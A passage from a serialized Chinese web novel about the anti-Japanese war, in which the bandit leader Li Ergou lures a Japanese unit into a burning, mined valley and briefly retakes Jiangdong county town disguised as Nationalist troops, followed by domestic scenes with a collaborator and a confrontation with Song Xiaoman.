孙竹刚不敢再多问半个字,连忙点头应是,跟着两名日军士兵沿着原路返回,一行人匆匆赶回了江东县城。 此刻的宪兵队大院里,早已一片肃杀的氛围。 龟田一郎早已提前集结好了三百名全副武装的日军士兵,全员列队整装待命。 除去县城各处必要的城门值守、据点留守的兵力之外,这三百人,已经是他目前在江东辖区内,能够调动集结的全部精锐兵力。 三百名精锐日军,对战八百名装备简陋的国军士兵,龟田一郎心中底气十足,满眼都是必胜的信心,已然做好了连夜出兵、一举剿灭敌军的所有准备。 两名侦察兵一回到宪兵队,立刻快步上前,对着龟田一郎恭敬行礼,随后将此番进山侦察所见的所有细节,包括营地位置、兵力预估及布防情况,详详细细地向龟田一郎做了完整汇报。 听完侦察兵的详尽汇报,确认情报无误之后,龟田一郎眼底闪过一抹凌厉的杀意。 “很好!敌军虚实已经探明,即刻连夜出兵,进山围剿,一举歼灭这股入境匪军!” 说罢,他转头看向身侧站立的孙竹刚,沉声吩咐道:“孙县长,你即刻回去召集你手下所有的警察,一个小时之后,随皇军一同出兵进山!” 眼下江东的皇协军还没有正式组建,龟田一郎手里,除了日军之外,能够调动的武装,就只有孙竹刚手下这一支人数寥寥的警察队伍。 他心里清楚,这些平日里混吃等死的警察,根本没有一点实战能力,他们军纪松散、贪生怕死,上了战场根本不堪一击。 可他依旧要让这些警察随军出征,目的再明确不过。 真到危急时刻,这些警察就是最好的炮灰。 既能用来试探敌军火力,消耗敌军弹药,又能替日军精锐挡下危险,就算尽数折损在山中,也半点不足惜。 这便是日本人的狠毒算计,从来只会牺牲投靠他们的这些汉奸走狗,以保全自己的实力。 孙竹刚闻言,虽然知道日本人的险恶用心,但他也不敢有任何违抗,连忙躬身领命,急匆匆转身离开了龟田一郎的办公室。 其实这所有的一切,包括龟田一郎的调兵部署,全都在李二狗的算计之中。 第768章 崎岖山路 夜色浓郁,黑压压地压在转经山的群山之上。 龟田一郎一身戎装,腰间挎着一把武士军刀,面色倨傲冷峻,骨子里带着日军军官惯有的骄纵蛮横。 他亲自带队,三百名全副武装的日军士兵队列整齐、步伐铿锵,紧随其后的是孙竹刚带来的一百多名警察。 乌泱泱的一支队伍,人影攒动,顺着崎岖的山道浩浩荡荡地往深山腹地开进。 他们声势看着浩大,实则早已被李二狗提前算透了行军路线和行军速度,他们的一举一动,全都在李二狗布下的圈套之中。 转经山属于太行山脉的余脉,不是寻常的平缓丘陵,山势连绵不绝、层峦起伏,一座座峻岭高低错落、巍峨耸立。 山间峡谷纵横交错,幽深闭塞,外人踏入其中,如同误入一个天然的囚笼。 漫山遍野都是参天古树,树干粗壮遒劲,枝干交错缠绕,松树柏树的枝叶密密匝匝遮天蔽日,把深夜仅存的一点月光星光,尽数挡在了林冠之外。 山林里昏暗漆黑,视线极差,脚下是常年腐叶堆积的软泥路,坑洼不平、湿滑难行,两侧灌木丛生,风穿过林间枝桠,呜呜作响,混着不知名的鸟兽低鸣,透着一股说不出的阴森肃杀。 日军队伍带着全套笨重的作战装备,士兵们人人负重不轻,肩头压着枪械弹药、行军物资,还有专人抬着沉重的重机枪、扛着迫击炮和一箱箱炮弹。 这般沉重的负荷,再加上山路崎岖湿滑、视线受阻,整支队伍的行军速度被死死拖住,异常缓慢。 士兵们皆是脚步沉重、呼吸粗重,额头上挂满冷汗,原本整齐的队列,渐渐变得松散凌乱,人人身心俱疲。 龟田一郎抬手看了一眼腕上的军用手表,表盘荧光隐隐发亮,指针刚好指向凌晨两点。 他心底隐隐生出几分急躁,脸上的傲气却半点未减。 夜袭作战,最讲究的就是出其不意、攻其不备。 一旦熬到天亮,天光放亮,视野开阔,敌人警戒必然加强,突袭的先机就会彻底丧失,这场围剿战的效果必然会大打折扣,甚至会陷入被动的局面。 他转头看向身侧躬身随行的孙竹刚,语气强硬的问道:“孙县长,这里离你探查的国军营地,还有多远?” 孙竹刚连忙上前一步,满脸恭顺,弯腰回话道:“报告龟田队长,不远了,翻过前面那两道山梁,就是敌人驻扎的营地了。” 龟田一郎抬眼,顺着孙竹刚示意的方向望过去。 夜色里,两道山梁层层递进,看着距离并不算远,仿佛抬脚就能抵达。 可这伙日军常年驻守平原,极少深入深山老林作战。 他们不清楚,深山山路最是欺人,看着近在眼前,真要一步步翻山越岭走过去,不知道要走到什么时候。 龟田一郎目光扫过身后疲惫不堪的士兵,看着他们吃力搬运重武器的模样,一箱箱炮弹压得士兵脚步打颤,严重拖累着整支队伍的推进速度。 他征战多年,自认为经验老道,打过无数次和国军的遭遇战、围剿战,心底早已生出根深蒂固的轻敌之心。 在他眼里,国军队伍装备落后、战力孱弱,纪律松散、畏战怕死,几百人的杂牌队伍,根本不值一提。 对付这样一群乌合之众,根本用不着重型火力压制,单凭日军精锐的单兵素养和轻武器,就足以一举全歼。 所谓杀鸡焉用牛刀,便是他此刻最真实的心思。 想到此,龟田一郎不再犹豫,他当机立断地对着身旁随行的日军中尉军官下令道:“传我命令,把所有的重机枪、迫击炮、掷弹筒以及炮弹箱,全部原地留存!抽调十名士兵就地看护,其余所有人卸掉重装备,轻装快速前进!务必在凌晨三点之前,抵达山谷作战位置!” 命令快速传递下去,日军士兵立刻停下脚步,纷纷卸下身上最沉重的重型武器,一排排重机枪、迫击和炮弹药箱杂乱地堆放在山道旁,只随身保留轻机枪、步枪、手雷等轻便武器。 片刻之间,三百名日军全部轻装前行。 他们所有人都和龟田一郎想法一致,认为此番进山围剿国军队伍,不过是走个过场,根本无需耗费重武器,只凭轻装冲锋,便能全歼这区区八百国军。 可这群骄纵自大的日军,终究还是轻视了深夜深山行军的凶险艰难,更是小瞧了李二狗精心布置的天罗地网。 李二狗早在三日之前,就摸清了转经山这一片区域的所有情况,他选择的营地必须要经过转经山最难走的这一条崎岖山路。 日军大部队继续往前急赶,没走出半里路,麻烦便接踵而至。 林间地面厚厚的枯草败叶之下,藏着不少常年因雨水冲刷造成泥土塌陷而形成的隐蔽深坑,它们表面上被落叶杂草遮盖的严严实实,白天看上去都和寻常地面没有什么区别,晚上更是无法分辨。 走在前列的几名日军士兵毫无防备,一脚踩空,瞬间惨叫着坠入深洞之中。 洞内乱石嶙峋,尖锐锋利,坠下去的士兵瞬间被磕碰得头破血流,惨叫声在寂静的深山里格外刺耳。 龟田一郎不敢停留,催促着士兵继续赶路,没走多久,又有几个士兵不慎踩到猎户遗留的捕兽夹。 铁制捕兽夹常年埋在土里,坚硬锋利、咬合极紧,藏在草丛根部,肉眼根本无法察觉。 一旦踩中,巨大的咬合力瞬间死死地锁死脚踝,锋利的夹齿直接穿透军靴,刺入皮肉,中招的士兵疼得浑身抽搐,满地打滚,凄厉的哀嚎声此起彼伏。 山道狭窄崎岖,一侧是陡峭山壁,另一侧就是深不见底的幽暗山沟,路边长满湿滑的枯草。不少士兵脚下打滑,立足不稳,身子一歪,直接摔落到路边的深沟里。 他们有的摔伤腰腿,躺在地上动弹不得,有的则直接摔成重伤身亡。 短短一段山路,还未见到半个敌人的影子,日军就已经非战斗减员数十人,队伍士气悄然受挫,有些士兵嘴里不停地抱怨着,渐渐变得浮躁慌乱起来。 第769章 有去无回 龟田一郎的脸色越来越难看,他看着接连出事的队伍,内心又急又怒。 他深知深夜行军最忌讳的就是拖延,如果再这么消耗下去,必然错过最佳的突袭时机。 他沉思片刻,当即下令,让所有的士兵原地待命。 然后他转头看向一旁唯唯诺诺的孙竹刚,直接命令道:“孙县长,你现在带领你手下的这些警察走到队伍最前方为皇军开路!快快地!拖延的不要!” 孙竹刚嘴上答应得干脆利落,心里却早已把龟田一郎的十八辈祖宗挨个咒骂了一遍。 不过他心里清楚,这深山老林里,根本就没有什么国军队伍,从头到尾,全部都是李二狗的精心谋划,为的就是吸引龟田一郎带着日军精锐陷入转经山的预设陷阱之中。 所以此时孙竹刚根本不担心自己的安危,他压下心底的咒骂,装出一副对日本人忠心耿耿的模样。 “请龟田队长放心!卑职定当竭尽全力为皇军开路!待会儿抵达国军营地外围,不用皇军动手,我亲自带着手底下这些弟兄们为皇军冲锋打头阵!等我们全部打光之后,再请皇军出手,一举歼灭这伙敌人!” 孙竹刚这番话说得慷慨壮烈,一副舍生忘死的姿态。 龟田一郎看向孙竹刚的眼神都多了几分改观,心底暗自赞许。 在他往日的认知里,孙竹刚向来是一个贪生怕死,只会谄媚讨好,没有一点血性的男人。 没想到今夜大敌当前,这人竟变得如此不惧生死,真是人不可貌相,海水不可斗量啊。 龟田一郎认为,这必然是大日本皇军的英勇善战感染了孙竹刚,让他才心生敬畏,终于褪去自身怯懦,生出了一股奋勇杀敌的勇气。 他忍不住抬手拍了拍孙竹刚的肩膀,赞许道:“孙县长,你的勇气可嘉,我很是欣慰。只不过论起冲锋打仗,你们这些警察的战斗力……呵呵,我看你们还是不要冲上去白白送死了。你们只负责在前面为皇军开路,正面冲锋的事情还是交由我们大日本皇军吧!” “是!卑职一切都听从龟田队长的调遣,皇军的战斗力是宇宙最强的!” 孙竹刚嘴上说得如此郑重,心里却只觉得好笑。 随后,孙竹刚带领着一百多名警察,硬着头皮走在整支队伍的最前方为日本人开路。 一众警察心里个个惶恐不安,不愿意走在最前面,可身后就是荷枪实弹的日军士兵,稍有迟疑,便是一顿训斥打骂,他们没人敢违抗命令,只能硬着头皮往前挪动。 一行人缓慢前行,翻过最难走的两段山梁,终于在凌晨三点钟,抵达了距离营地五百米的一处半山腰高地。 此地视野开阔,恰好能俯瞰下方整片山谷,是一处绝佳的观察位置。 孙竹刚抬手往前一指,对着龟田一郎低声禀报道:“龟田队长,您快看!下方山谷之中,那片灯火人影处,就是国军的驻扎营地!” 龟田一郎立刻抬手举起高倍军用望远镜,顺着孙竹刚指引的方向,凝神眺望下方山谷。 此刻夜色依旧浓稠,天光未亮,山谷间雾气氤氲、光影朦胧,隔着五百米的距离,望远镜里只能隐隐约约看到一片营地的轮廓,能隐约瞧见营地里的点点灯火,确实是一处驻军营地。 李二狗布置的营地,逼真至极,足以瞒过所有人的眼睛。 孙竹刚站在一旁,看着龟田一郎还在犹豫,便开口催促道:“龟田队长,天马上就要亮了,眼下正是敌军防备最松懈的时候,也是偷袭的最好时机!是不是现在下令发起突袭,打他们一个措手不及?” 龟田一郎放下望远镜,低头看了一眼手表,眉头紧皱,心底生出一丝细微的谨慎。 他虽瞧不起国军,自认为大日本皇军的战斗力可以轻松地碾压敌军,但他终究是一名久经沙场的军官,天生有一种灵敏的战场嗅觉。 眼下山谷地势封闭,四周山林茂密,夜间视野受限,敌军的兵力布防一概不清。 若是贸然发动冲锋,万一四周暗藏埋伏,全军极有可能陷入被包围的危险。 另外,他最顾虑的是国军必然在外围布置了多个暗岗暗哨,一旦此时贸然进军,被敌军警戒哨察觉,暴露行踪,突袭的先机就会彻底丧失。 为了稳妥起见,龟田一郎暂时压下冲锋的念头,命令身边的军官叫来四名精锐的侦察兵。 这四人都是日军队伍里擅长潜伏探查的老兵,单兵作战和侦察能力远超普通士兵。 龟田一郎下令道:“你们四人即刻去探查前方敌军的外围布防,清除他们的警戒暗哨,扫清前进障碍,为大部队冲锋开路!” 四名侦察兵领命,压低身形,借着草木的掩护,悄无声息地朝着山谷营地的方向潜行摸去,他们动作轻盈,很快就消失在浓重的夜色山林之中。 所有人屏住呼吸,待在原地待命,山林间一片死寂,只剩下风声簌簌。 半个小时的时间悄然流逝,预想中的探查消息迟迟没有传来,派出去的四名精锐侦察兵,如同石沉大海,没有一人返回,彻底消失在了前方的山谷之中。 偌大的深山,寂静得可怕。 龟田一郎心底一沉,一股浓烈的危险气息瞬间席卷全身,后背隐隐泛起一层寒意。 他征战多年,从未遇到过这般诡异的情况。 四名精锐侦察兵协同前往探查,经验老道,不可能同时迷路、同时失联。 唯一的可能,就是四名侦察兵已然遭遇不测。 这一刻,他心里才明白过来,事情绝非自己想象的那般简单,所谓的八百国军营地,大概率暗藏凶险。 可事到如今,大部队深夜潜入深山腹地,箭在弦上,不得不发。 若是此时无功而返,不仅战无不胜的大日本皇军的颜面尽失,还会被上级问责。 纵然心底预感到不妙,但他骨子里的傲慢和自负,还是压过了那丝警惕。 第770章 进入埋伏圈 龟田一郎依旧根深蒂固地认为,就算对方提前有准备,也不过是区区八百杂牌国军,战力孱弱,根本不堪一击。 自己麾下三百精锐日军,装备精良,战力强悍,就算对方提前设防埋伏,也照样能轻松碾压,强行剿灭,根本不足为惧。 骄纵轻敌的念头,彻底蒙蔽了他的判断,将他一步步推向万劫不复的深渊。 犹豫片刻,龟田一郎再次抽调五名侦察兵,命令他们即刻向前探明情况。 又是漫长的半个小时过去了。 夜色越来越淡,天边隐隐泛起一丝鱼肚白,天光即将破晓。 第二批派出去的五名侦察兵,依旧和第一批一样,彻底杳无音讯,没有一人归来。 连续九名精锐侦察兵蹊跷失踪,全军上下的气氛瞬间压抑到了极点,隐隐生出一股慌乱不安的氛围。 一旁的孙竹刚看龟田一郎犹豫不决,担心他下令撤退,便故作焦急的模样,上前催促道:“龟田队长!不能再等了!天马上就要亮了,一旦天亮,敌军必然警觉,到时候再想突袭就难如登天了!您赶紧拿主意,如果再耽搁下去,就彻底错失战机了!” 龟田一郎眼底满是戾气,心底的不安越来越重,可依旧不肯认栽,依旧没把暗处的对手放在眼里。 他不再迟疑,厉声下达了冲锋的命令。 “孙县长!你即刻带领所有警察,向前方营地冲锋!皇军殿后,大家务必一鼓作气,冲入营地,彻底消灭这股敌军!” 孙竹刚闻言,露出一丝轻蔑的表情,一切果然如李二狗所料。 先前龟田一郎率领日军打先锋的豪言壮语,从头到尾都是空话。 孙竹刚知道,前方不仅是战场,更是李二狗为日军量身打造的葬身之地。 孙竹刚不再多言,立刻转身,对着身后一百多名警察抬手一挥,装出一副带头冲锋的模样,低声嘶吼道:“弟兄们!立功的时候到了,给我冲,皇军大大的有赏!” 一众警察个个心知肚明,知道前方凶险万分,没人愿意送死。 可身后日军士兵已然举枪戒备,黑洞洞的枪口对着他们,谁敢退缩迟疑,当场就是一枪毙命。 迫于日军的威慑,一众警察只能硬着头皮,装出奋勇冲锋的样子,朝着五百米开外的山谷营地冲去。 龟田一郎看着警察队伍乱糟糟冲锋的模样,忍不住低声怒骂一句,可事已至此,箭在弦上,他只能硬着头皮指挥着日军跟进。 他拔出武士刀,用力地向前一挥,三百名日军精锐全员压上,紧随在警察队伍之后,快速朝着山谷营地俯冲冲杀而去。 所有人都各怀心事地往前冲锋,却没有人察觉,死神已经悄然笼罩在了整支队伍的头顶。 就在所有人冲锋时,刚刚还跑在最前面的孙竹刚,猛地一个侧身,借着路边一块巨大的青石掩护,瞬间卧倒在地,一动不动。 这是李二狗提前告诉他的,一定不能跟着日本人冲进营地,那里很快将变成人间地狱。 汹涌的日军人流从他身旁飞速冲过,没人留意到原地卧倒的孙竹刚。 待所有日军全部冲进山谷之后,孙竹刚才悄悄起身,借着夜色草木掩护,悄无声息地转身,顺着来路快速往后撤离,远远躲开这片即将化为炼狱的山谷。 三百名日军精锐裹挟着一众警察,气势汹汹向前冲锋,转瞬之间,就冲进了国军营地之中。 可踏入营地的瞬间,所有人都愣住了。 偌大的山谷营地,在外边看不出什么异常,可进入之后才发现是一座空营。 放眼望去,营地里人影全无,只有满地堆积的干枯柴草,层层叠叠地铺满了整片营地地面。 死寂、空旷、诡异。 一股浓烈刺鼻的硫磺味道,混杂着木炭的气息,顺着夜风扑面而来,钻进所有人的鼻腔之中。 龟田一郎浑身猛地一震,心底所有的傲慢自负,瞬间崩塌殆尽,一股极致的寒意瞬间浸透四肢百骸。 中计了! 这一切从头到尾都是陷阱! 这根本不是国军营地,是专门为日军准备的葬身火海! “不好!立刻撤退!快撤!撤出山谷!” 龟田一郎用尽全身力气,疯狂地嘶吼着,声音凄厉,满是极致的慌乱。 可一切都太晚了。 他的话音刚落,山谷四周的山林高地之上,瞬间爆发出震耳欲聋的枪炮轰鸣声! “轰隆!轰隆!哒哒哒!砰砰砰!” 密密麻麻的枪声、爆炸声骤然炸响,撕裂了凌晨的寂静。 李二狗早已提前安排人手,占据了山谷四周所有的制高点,数百名队员严阵以待,早已偷偷瞄准了山谷之中的日本鬼子。 随着信号枪响,所有的武器全部开火。 就在一瞬间,提前布置在营地里的大量干柴、硫磺和木炭,瞬间被点燃。 熊熊烈火腾空而起,火光冲天,烈焰翻滚,瞬间席卷整座山谷营地,漫天火海吞噬了每一寸土地。 烈焰滚滚、浓烟滔天,灼热的气浪瞬间扑面而来,身处营地里的日本鬼子瞬间被火海围困。 慌乱失措的日本鬼子被这突如其来的大火彻底击溃了心智,纷纷尖叫着四散逃窜,如同无头苍蝇一般四处乱撞。 可李二狗的布局缜密至极,不会给他们逃生的机会。 他在布置火海陷阱的同时,就命人在营地四周预埋了大量地雷。 逃窜的日本鬼子慌不择路,脚下频频踩中地雷,一声声剧烈的爆炸接连响起,泥土碎石漫天飞溅,血肉碎末四处纷飞。 无数日本鬼子当场被炸得支离破碎,残肢断臂散落满地,惨叫哀嚎之声此起彼伏,不绝于耳。 侥幸躲过地雷爆炸的日本鬼子,慌不择路之下,只能拼命往火海中心折返逃窜,可整片营地早已沦为一片滔天炼狱,熊熊烈火疯狂灼烧着一切。 无数日本鬼子被熊熊的烈火吞噬,浑身燃起大火,在火海中疯狂翻滚惨叫,最终被活活烧成焦炭,死状惨烈至极。 第771章 光复江东县城 山谷四周的高地之上,清风集团的队员们,在秀才和陈老三的带领下,居高临下,将谷底慌乱逃窜的日本鬼子,尽数当成了活靶子。 没有死角,没有退路,更没有躲闪空间。 手枪点射,步枪狙杀,轻重机枪疯狂扫射,漫天手榴弹凌空投掷,掷弹筒不间断轰击,迫击炮定点覆盖…… 所有武器火力尽数倾泻而下,密密麻麻的子弹、炮火,如同暴雨一般砸向谷底的日军残兵。 火海中的日本鬼子,完全暴露在火力覆盖之下,毫无还手之力。 一排排日本鬼子在炮火和子弹中应声倒地,成片成片地倒下。 鲜血瞬间染红了整片山谷,尸横遍野,血流成河。 惨叫声、爆炸声、枪声、烈火噼啪声交织在一起,汇成一曲覆灭日本鬼子的绝杀战歌。 昔日骄纵狂妄、目中无人的日军精锐,此刻如同蝼蚁一般,被肆意碾压、疯狂屠戮,毫无反抗之力。 整场战斗打得酣畅淋漓,完全按照李二狗提前谋划的剧本,完美落幕。 从诱敌、惑敌、骄敌,到引敌入瓮、火海围杀、火力清剿,步步为营、环环相扣,算计精准到极致,布局巧妙到极致,运筹帷幄、决胜千里,将三百日军精锐彻底覆灭在深山绝境之中。 龟田一郎也在乱战中葬身火海,尸骨全无,只剩那把武士刀静静地躺在尚未熄灭的灰烬之中。 就在转经山山谷伏击战打得如火如荼的同时,李二狗早已做好了双线布局。 在龟田一郎带领日军大部队进山之后,城内日军守备兵力异常空虚,李二狗和孙连胜带领着清风集团特别行动队的精锐主力,趁着夜色的掩护,早已通过城墙下方的隐秘洞口,悄无声息潜入了防备空虚的江东县城。 此番布局,李二狗眼光长远,不止于覆灭进山的日军,更要一举收复沦陷的江东县城,缴获日军的武器弹药和各类物资,沉重打击日本鬼子的嚣张气焰。 此刻的江东县城,守备兵力早已不堪一击。 龟田一郎为了一举剿灭所谓的国军队伍,将城内绝大部分可用兵力尽数调往转经山。 留守县城宪兵队和宪兵队大牢的,只剩下为数不多的老弱病残和一些后勤杂役,这些人不仅人数少,而且战斗力非常低下,压根没有一点作战能力。 他们常年只负责后勤值守,面对突袭而来的特别行动队,根本没有一点抵挡之力。 李二狗决定兵分三路,同时对三处地点发起突袭。 一队突袭日军宪兵队本部,一队突袭宪兵队大牢,一队围剿县城警察局。 夜色未散,城内守备松懈,所有人都沉浸在深夜的沉寂之中,完全没有料到,会有一股武装力量深夜突袭县城。 枪声骤然在县城各处响起,突袭行动以迅雷不及掩耳之势展开。 留守的日本鬼子仓促应战,压根组织不起有效的抵抗,片刻时间,就被尽数歼灭。 守备的警察更是直接弃械投降,县城几个重要据点全部被攻克占领。 整场战斗干净利落,李二狗大获全胜。 天边晨光破晓,旭日东升。 沦陷在日军铁蹄之下、被侵占蹂躏长达一年有余的江东县城,在这一刻,竟然光复了。 全城百姓晨起开门,听闻县城收复,日本鬼子被尽数剿灭的消息,无不震惊狂喜、奔走相告。 所有人都满心好奇地打探,究竟是哪一支精锐部队,能够以雷霆之势一举收复沦陷县城并全歼日军守军。 可能没人会想到,这支刚刚收复江东县城,全歼日军守军的武装力量,并非正规国军,也不是八路军正规部队,而是混迹山林的清风集团土匪武装。 面对如此巨大的胜利,李二狗却始终保持着清醒,一点也没有被眼前的胜利冲昏头脑。 他心里清楚,此番大胜,只是一时之捷。 日军在周边城市依旧驻扎着大量兵力,绝对不会轻易舍弃江东这片区域。 用不了多久,日军必然会集结重兵,卷土重来,重新攻占江东县城。 以目前清风集团的兵力和装备,势单力薄,根本不足以长期固守县城,抵挡日军的大规模反扑。 想要保全自身实力,稳步发展,绝对不能贪恋一时的胜利。 因此,大胜之后,李二狗第一时间便向全体队员下达了两道命令。 第一道命令,任何人不许暴露自己是清风集团人员的身份。 但凡私自透露者,一律军法处置! 木秀于林、风必摧之。 此刻清风集团尚且弱小,实力不足以和日军相抗衡,一旦身份曝光,必然会沦为日军的眼中钉、肉中刺。 若是被日军疯狂围剿,随时会有全军覆灭的危险。 只有隐匿身份,才能韬光养晦,以待时机。 第二道命令,清空所有物资,不许给日本人留下一颗子弹、一粒粮食。 李二狗下令全面清查县城宪兵队、警察局和日军据点的所有军备物资、武器弹药、粮食布匹和钱粮辎重。 所有枪械、弹药、手雷、火炮、粮食、布匹、药品、钱财,只要有一点用处的尽数打包装车,立即运离县城,绝不给反扑归来的日本鬼子留下一针一线。 与此同时,他特意下令,将其中一半的粮食,分发给县城内衣食无着的穷苦百姓。 全城百姓饱受日军侵占之苦,如今一朝获得救济,个个感恩戴德。 待物资全部转移之后,李二狗再次下令,放火焚毁日军宪兵队和宪兵队大牢,然后主动撤离了江东县城。 整个布局,从头到尾滴水不漏。 更巧妙的是,此番所有作战人员,全程身着国军制式军服行动,从深山伏击到县城收复,所有参战身影,在百姓眼中尽数为国军模样。 江东百姓亲眼见证这支“国军”队伍,歼灭日寇,收复县城,开仓放粮,救济贫民,全部将这份驱逐日寇的天大恩情,牢牢记在了国军名下。 而真正布下天罗地网的清风集团和幕后主导李二狗,却悄然选择隐身。 他们不慕虚名、不露锋芒,选择留存实力、静待时机,为后续的发展,埋下了最稳妥的伏笔。 第772章 我说只有你能干就只有你能干 由于龟田一郎被杀,驻守江东的日军全军覆没,征粮的事情暂时被搁置下来。 和李二狗预测的一样,日军很快便组织周边一个大队的兵力重新占领了江东县城。 宪兵队新上任的队长叫樱木花道,戴着一副黑边眼镜,看似文质彬彬,实则是一个心狠手辣之人。 他一上任,便暗中组织人手秘密调查龟田一郎所部被全歼以及江东县城陷落之事。 在他的认知中,他不认为国民党的军队有这个能力。 更何况他们在占领县城之后便立即主动撤出,更没有在报纸上进行大肆宣扬,这不符合国民党军队的行事风格。 夺回一座已经沦陷的县城,这是一件足以载入史册的功绩,他们怎么可能放过这个大吹特吹的机会。 这一切都太不正常了,其中一定有什么不可告人的内幕。 同时他对孙竹刚的忠诚也产生了极大的怀疑,所有的人都死了,只有他安然无恙,实在是太蹊跷了。 樱木花道很清楚,中国人痛恨汉奸甚于日本人。 夜幕降临,孙竹刚家中。 李二狗坐在孙竹刚对面,两人都已经喝得有些微醺。 “二狗,这次征粮的事情多亏了你,大哥再敬你一杯。” 通过这件事,孙竹刚对李二狗的实力有了更进一步的认识。 他万万想不到,清风集团竟可以轻松歼灭龟田一郎所部的所有鬼子,并占领了江东县城。 国军队伍尚且做不到这一点,可李二狗却带领清风集团的一群土匪便轻轻松松做到了,他实在是太厉害了。 “大哥,你今晚都已经感谢我八百次了,咱们是兄弟嘛,不用这么客气的。” 孙竹刚伸手握住李二狗的手,满含深情地说道:“来,好兄弟,咱们哥俩接着喝,今晚谁喝不醉谁是狗叼,今晚你就住家里,你嫂子可喜欢你住家里了。” 李二狗咽了口唾沫,笑道:“好,今晚一醉方休。” 两人又是一饮而尽。 孙竹刚放下杯子,先是叹了一口气,然后装作漫不经心地问道:“兄弟,新来的宪兵队长樱木花道好像对我有意见,我已经去见了他两次,每次他都阴着一张脸,好像他并没有让我继续出任县长的意思。” 李二狗心想,转经山一战,几乎所有人都死了,只有孙竹刚活着回来了,樱木花道不可能不对他有所怀疑。 说不定,他早已派人暗中在调查孙竹刚。 好在孙竹刚背景清白,他是真心实意给日本人当汉奸县长,不怕日本人调查,唯一的风险就是他知道不少自己的事情。 “那他问你什么没有?” 孙竹刚神情凝重,情绪还陷在不能当县长的失落中。 “问了一些关于龟田一郎的事情,都被我应付过去了。” 樱木花道果然在怀疑这件事情。 “大哥,前段时间发生了不少事,樱木花道对你有所顾虑也实属正常,你先别着急,我有办法让他主动邀请你来当县长。在江东县,除了大哥之外,其他人都干不了这个县长。” 孙竹刚闻言先是喜笑颜开,继而又皱起了眉头。 “兄弟,也不是只有我才能干这个县长,最近有几个镇的维持会会长表现得很活跃,我担心他们……” 李二狗知道孙竹刚在担心什么。 “大哥,你就放心吧,我说只有你能干就只有你能干,其他人干不了,即使干了也肯定干不长,我有这个把握。” 李二狗说有把握那肯定就是有把握,孙竹刚可以怀疑一切,但绝不会怀疑李二狗的能力。 “兄弟,你这样说,大哥就放心了,来,咱们哥俩再喝一杯。” 两人又干了一杯。 喝过之后,李二狗把酒杯握在手中并没有放在桌子上,他心里寻思着有必要给孙竹刚上上弦。 “大哥,你猜我现在最担心什么?” 孙竹刚已经喝得面红耳赤,嘴里说话都有些不利索。 “兄弟,你……你还有担心的事?” 李二狗微微一笑,虽然别人都把他视作无所不能的人,但他却不觉得自己有多厉害。 “我现在最担心的就是上次歼灭龟田一郎的事被日本人知道,大哥,这次鬼子来了一个大队的兵力,实力远超清风集团,咱们以后行事不得不谨慎一些。” 孙竹刚也担心这件事被日本人知道,这次他之所以不被樱木花道信任,主要还是因为这件事。 “兄弟,你放心,这件事我绝对不会说出去。” 李二狗笑道:“大哥,我还能不相信你吗?我现在担心的是你的安危。” “我的安危?” “是啊,大哥,咱俩是整件事情的主谋。不管以后日本人从哪个渠道得知这个消息,他们肯定都不会放过咱们兄弟俩。” 李二狗这是在拐弯抹角地告诉孙竹刚,哪怕孙竹刚主动把这件事告诉日本人,日本人也不会饶过他。 孙竹刚闻言,顿时吓得酒醒了一半。 李二狗继续说道:“我还好,大不了我躲进深山老林,日本人也找不到我,但你不同啊大哥,日本人一定会把你抓起来枪毙的,还有嫂子。” 孙竹刚知道这是李二狗的警告,不过他也知道,李二狗说的确实是实情。 “兄弟,你还不了解大哥吗?就是我被日本人抓起来严刑拷打,我也绝不会把那件事说出去。” 李二狗拿起酒瓶,起身走到孙竹刚身旁,给他杯中倒满了一杯酒。 “大哥,瞧你这话说的,我还能不相信你吗?我就是担心你的安危!不过你放心,假如有一天你被日本人抓了,兄弟就是拼上这条性命也会把你救出来。” 有了李二狗的这个保证,孙竹刚顿时轻松了不少。 “兄弟,有你这句话,大哥就算彻底把心放进肚子里了,来,再干一杯。” 两人一饮而尽,都有些头晕脑涨。 孙竹刚对着正在厨房做饭的二丫喊道:“二丫,快给咱兄弟包海鲜馅的饺子,兄弟今晚不走了,住家里。” 二丫闻言,兴奋不已。 “好嘞,我一定让咱二狗兄弟吃得开心、睡得舒心。” 第773章 一定是他 “二狗,是不是你带人杀了龟田一郎?” 李二狗刚踏进家中四合院的门槛,一只纤细白皙的手便伸了出来,拦在了他身前。 来人正是宋小曼。 今日的宋小曼,没穿平日里常穿的素色布裙,而是换了一身再朴素不过的灰色粗布短褂长裤。 衣料是乡下最寻常的土织布,针脚密实,颜色洗得微微有些泛白,一看便是耐穿耐磨的家常衣裳。 瞧这一身行头,分明也是刚从外头奔波回来,还没来得及歇脚换洗。 可就算是这般简陋粗朴的衣衫穿在身上,也根本压不住宋小曼骨子里的清灵气质。 寻常乡野女子穿粗布衣裳,难免显得邋遢土气,可宋小曼身姿挺拔,眉眼清亮,干净的眉眼间带着一股旁人没有的韧劲,简简单单的粗布短褂,反倒衬得她愈发清丽脱俗,和周边庸常的乡野妇人截然不同。 李二狗从外头回来,心里本是轻松愉快的,看见拦在身前的宋小曼,眼底下意识地露出几分温柔。 他盯着她白皙粉嫩的脸颊,那张小脸不施粉黛,透着天然的红润软嫩,让他心里痒痒的,下意识抬起手,想去轻轻捏一捏,逗逗这个水灵灵的女人。 指尖刚要触碰到她脸颊的瞬间,宋小曼脑袋轻轻一偏,巧妙地避开了他的手,没让他占到一点便宜。 “你老实点!我这儿问你话呢!” 宋小曼微微嘟起了粉嫩的小嘴,一双清亮的杏眼敛去了平日的温和,语气也绷得紧紧的,没有半分玩笑的意思。 那模样看着有几分孩子气的较真,却又带着不容置喙的执拗,让人不敢随意亵玩。 悬在半空中的手落了空,李二狗指尖一顿,只得讪讪地收了回来。 他挠了挠后脑勺,脸上堆起一抹尴尬又无奈的笑容。 “你看你,这么较真做什么?”他故作从容,像是在说一件与自己无关的事情:“我回来路上听老百姓都在议论,说山里伏击鬼子攻打县城的是国军队伍。” 其实从龟田一郎一众鬼子在深山被全歼、县城被攻占又撤离的消息传开那日起,李二狗就知道,这事早晚瞒不过宋小曼。 他太了解宋小曼的性子了。 执拗、通透、心思细如发丝,最是擅长刨根究底。 江东这地界的局势,明眼人都看得明白,除了他手底下的清风集团,根本没有任何一股势力,能端掉龟田一郎那支全副武装的日军,还能顺势拿下县城、搬走所有军备物资。 所以他早早就想好了一套推脱的说辞,只等着宋小曼找来质问,打算把这事糊弄过去。 可宋小曼是什么人? 她眼睛直勾勾地看着李二狗故作坦然的眼睛,看着他眼底一闪而过的闪躲,听完这话,当即轻轻冷哼了一声,嘴角抿得紧紧的,眼底满是全然不信的神色,一点都没有被他轻易糊弄过去的意思。 